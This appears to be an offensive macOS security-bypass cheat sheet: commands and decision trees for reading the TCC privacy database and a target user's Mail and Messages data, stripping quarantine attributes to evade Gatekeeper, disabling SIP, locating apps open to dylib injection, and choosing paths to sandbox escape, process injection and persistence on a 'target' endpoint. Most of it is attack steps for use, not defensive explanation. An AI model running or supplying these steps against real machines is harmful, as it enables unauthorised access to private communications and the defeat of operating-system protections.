macos-security-bypass

-- Query TCC database (requires FDA or SIP off)
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
  "SELECT service, client, allowed FROM access;"

# If Terminal has FDA, this reads protected files directly
cat ~/Library/Mail/V*/MailData/Envelope\ Index
cat ~/Library/Messages/chat.db

tell application "Finder"
  set f to POSIX file "/Users/target/Library/Mail/V9/MailData/Envelope Index"
  duplicate f to desktop
end tell

# Check quarantine attribute
xattr -l /path/to/app
# Output: com.apple.quarantine: 0083;...
 
# Remove quarantine (requires write access)
xattr -d com.apple.quarantine /path/to/app
# Recursive for app bundles
xattr -rd com.apple.quarantine /path/to/MyApp.app

App launched
│
├── com.apple.quarantine attribute present?
│   ├── No → execute (no Gatekeeper check)
│   └── Yes ↓
│
├── Code signature valid?
│   ├── No → block
│   └── Yes ↓
│
├── Notarized (stapled ticket or online check)?
│   ├── No → block (Catalina+)
│   └── Yes → execute
│
└── User override? (right-click → Open → confirm)
    └── Bypasses Gatekeeper once for this app

/System/
/usr/ (except /usr/local/)
/bin/
/sbin/
/var/ (selected subdirs)
/Applications/ (pre-installed Apple apps)

csrutil status              # Check SIP status
csrutil disable             # Recovery Mode only
csrutil enable --without fs # Partial disable (risky)

codesign -dv --verbose=4 /path/to/app       # Signature details
codesign -d --entitlements :- /path/to/app   # Dump entitlements
security cms -D -i /path/to/mobileprovision  # Provisioning profile
 
# Verify signature validity
codesign --verify --deep --strict /path/to/app
spctl --assess --type execute /path/to/app   # Gatekeeper assessment

# Find apps with library validation disabled
codesign -d --entitlements :- /Applications/*.app/Contents/MacOS/* 2>/dev/null | \
  grep -l "disable-library-validation"

Target is macOS endpoint
│
├── Need to execute untrusted binary?
│   ├── Quarantine attribute present?
│   │   ├── Yes → xattr -d com.apple.quarantine (§2.1)
│   │   └── No → execute directly
│   └── Gatekeeper still blocks?
│       ├── Signed but not notarized → right-click → Open override
│       └── Unsigned → embed in signed bundle or use archive tricks (§2.2)
│
├── Need access to TCC-protected resources?
│   ├── FDA-granted app available?
│   │   ├── Yes → exploit FDA app context (§1.3)
│   │   └── No ↓
│   ├── Automation permission obtainable?
│   │   ├── Yes → Apple Events to TCC-granted app (§1.3)
│   │   └── No ↓
│   ├── SIP disabled?
│   │   ├── Yes → direct TCC.db modification (§1.2)
│   │   └── No → check version-specific TCC bypass (→ TCC_BYPASS_MATRIX.md)
│   └── MDM present?
│       └── Compromised MDM → push PPPC profile (§1.3)
│
├── Need to bypass SIP?
│   ├── Check macOS version → historical SIP CVE? (§3.4)
│   ├── Find entitled Apple binary → piggyback SIP-bypass entitlement (§3.3)
│   └── Recovery Mode access? → csrutil disable (§3.2)
│
├── Need sandbox escape?
│   ├── Office macro context → dialog/LaunchAgent tricks (§4.1)
│   ├── XPC service with weak validation → IPC escape (§4.2)
│   └── Browser context → renderer → sandbox escape chain (§4.3)
│
├── Need to inject into signed process?
│   ├── disable-library-validation entitlement? → dylib injection
│   ├── allow-dyld-environment-variables? → DYLD_INSERT_LIBRARIES
│   ├── get-task-allow? → debugger attach
│   └── None → check macos-process-injection SKILL.md
│
└── Need persistence?
    └── Choose method by access level (§6)

# Enumerate TCC permissions
tccutil reset All                              # Reset all TCC (admin)
sqlite3 TCC.db "SELECT * FROM access;"         # Read TCC DB
 
# Gatekeeper status
spctl --status                                 # Gatekeeper enabled?
spctl --assess -v /path/to/app                 # Check app assessment
 
# SIP status
csrutil status
 
# Find interesting entitlements across system
find /System/Applications /Applications -name "*.app" -exec sh -c \
  'codesign -d --entitlements :- "$1" 2>/dev/null | grep -q "disable-library-validation" && echo "$1"' _ {} \;
 
# List loaded kexts (kernel extensions)
kextstat | grep -v com.apple
 
# Sandbox profile inspection
sandbox-exec -p "(version 1)(allow default)" /bin/ls  # Test sandbox rules